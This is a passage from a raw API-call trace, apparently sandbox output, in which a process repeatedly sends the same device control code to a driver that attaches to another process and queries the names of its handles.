ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.753] ObfDereferenceObject (Object=0xfffffa80031d7b30) returned 0x1 [0136.753] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.753] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.753] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.753] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.753] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.753] PsAcquireProcessExitSynchronization () returned 0x0 [0136.754] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.754] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031e1220, HandleInformation=0x0) returned 0x0 [0136.754] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.754] PsReleaseProcessExitSynchronization () returned 0x2 [0136.754] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.754] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.754] ObfDereferenceObject (Object=0xfffffa80031e1220) returned 0x1 [0136.754] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.754] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.754] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.754] PsAcquireProcessExitSynchronization () returned 0x0 [0136.754] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.754] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f68480, HandleInformation=0x0) returned 0x0 [0136.754] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.754] PsReleaseProcessExitSynchronization () returned 0x2 [0136.754] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.754] ObQueryNameString (in: Object=0xfffffa8002f68480, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.754] ObfDereferenceObject (Object=0xfffffa8002f68480) returned 0x3 [0136.754] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.754] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0136.754] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.754] PsAcquireProcessExitSynchronization () returned 0x0 [0136.754] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.754] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f66e70, HandleInformation=0x0) returned 0x0 [0136.754] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.754] PsReleaseProcessExitSynchronization () returned 0x2 [0136.754] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.754] ObQueryNameString (in: Object=0xfffffa8002f66e70, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.754] ObfDereferenceObject (Object=0xfffffa8002f66e70) returned 0x3 [0136.754] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.755] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.755] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.755] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.755] PsAcquireProcessExitSynchronization () returned 0x0 [0136.755] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.755] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002916070, HandleInformation=0x0) returned 0x0 [0136.755] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.755] PsReleaseProcessExitSynchronization () returned 0x2 [0136.755] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.755] ObQueryNameString (in: Object=0xfffffa8002916070, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.755] ObfDereferenceObject (Object=0xfffffa8002916070) returned 0x2 [0136.755] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.755] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.755] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.755] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.755] PsAcquireProcessExitSynchronization () returned 0x0 [0136.755] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.755] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003303810, HandleInformation=0x0) returned 0x0 [0136.755] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.755] PsReleaseProcessExitSynchronization () returned 0x2 [0136.755] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.755] ObQueryNameString (in: Object=0xfffffa8002824e40, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.755] ObfDereferenceObject (Object=0xfffffa8003303810) returned 0x1 [0136.755] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.755] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.755] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0136.755] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.755] PsAcquireProcessExitSynchronization () returned 0x0 [0136.755] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.755] ObReferenceObjectByHandle (in: Handle=0x1e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003305c10, HandleInformation=0x0) returned 0x0 [0136.755] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.756] PsReleaseProcessExitSynchronization () returned 0x2 [0136.756] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.756] ObQueryNameString (in: Object=0xfffffa80032a3720, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.756] ObfDereferenceObject (Object=0xfffffa8003305c10) returned 0x1 [0136.756] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.756] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.756] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.756] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.756] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.756] PsAcquireProcessExitSynchronization () returned 0x0 [0136.756] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.756] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002471c80, HandleInformation=0x0) returned 0x0 [0136.756] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.756] PsReleaseProcessExitSynchronization () returned 0x2 [0136.756] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.756] ObQueryNameString (in: Object=0xfffffa8002471c80, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.756] ObfDereferenceObject (Object=0xfffffa8002471c80) returned 0x2 [0136.756] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.756] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.756] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.756] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.756] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.756] PsAcquireProcessExitSynchronization () returned 0x0 [0136.756] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.756] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003306f20, HandleInformation=0x0) returned 0x0 [0136.756] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.756] PsReleaseProcessExitSynchronization () returned 0x2 [0136.756] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.756] ObQueryNameString (in: Object=0xfffffa8003306f20, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.756] ObfDereferenceObject (Object=0xfffffa8003306f20) returned 0x1 [0136.756] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.756] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.756] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.756] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.756] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.757] PsAcquireProcessExitSynchronization () returned 0x0 [0136.757] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.757] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003307560, HandleInformation=0x0) returned 0x0 [0136.757] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.757] PsReleaseProcessExitSynchronization () returned 0x2 [0136.757] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.757] ObQueryNameString (in: Object=0xfffffa8003307560, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.757] ObfDereferenceObject (Object=0xfffffa8003307560) returned 0x1 [0136.757] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.757] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.757] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.757] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.757] PsAcquireProcessExitSynchronization () returned 0x0 [0136.757] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.757] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80033192d0, HandleInformation=0x0) returned 0x0 [0136.757] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.757] PsReleaseProcessExitSynchronization () returned 0x2 [0136.757] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.757] ObQueryNameString (in: Object=0xfffffa80033192d0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.757] ObfDereferenceObject (Object=0xfffffa80033192d0) returned 0x1 [0136.757] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.757] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.757] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.757] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.757] PsAcquireProcessExitSynchronization () returned 0x0 [0136.757] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.757] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032ff070, HandleInformation=0x0) returned 0x0 [0136.757] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.757] PsReleaseProcessExitSynchronization () returned 0x2 [0136.757] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.757] ObQueryNameString (in: Object=0xfffffa80032ff070, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.758] ObfDereferenceObject (Object=0xfffffa80032ff070) returned 0x2 [0136.758] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.758] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.758] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.758] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.758] PsAcquireProcessExitSynchronization () returned 0x0 [0136.758] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.758] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f7abd0, HandleInformation=0x0) returned 0x0 [0136.758] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.758] PsReleaseProcessExitSynchronization () returned 0x2 [0136.758] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.758] ObQueryNameString (in: Object=0xfffffa8002f7abd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.758] ObfDereferenceObject (Object=0xfffffa8002f7abd0) returned 0x1 [0136.758] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.758] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.758] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.758] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.758] PsAcquireProcessExitSynchronization () returned 0x0 [0136.758] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.758] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.758] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.758] PsReleaseProcessExitSynchronization () returned 0x2 [0136.758] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.758] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.758] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.758] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.758] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.758] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.758] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.758] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.759] PsAcquireProcessExitSynchronization () returned 0x0 [0136.759] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.759] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.759] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.759] PsReleaseProcessExitSynchronization () returned 0x2 [0136.759] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.759] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.759] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.759] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.759] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.759] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0136.759] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.759] PsAcquireProcessExitSynchronization () returned 0x0 [0136.759] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054735d0) [0136.759] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003431070, HandleInformation=0x0) returned 0x0 [0136.759] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.759] PsReleaseProcessExitSynchronization () returned 0x2 [0136.759] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0136.759] ObQueryNameString (in: Object=0xfffffa8003431070, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.759] ObfDereferenceObject (Object=0xfffffa8003431070) returned 0x1 [0136.759] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.759] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.759] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0136.759] PsLookupProcessByProcessId (in: 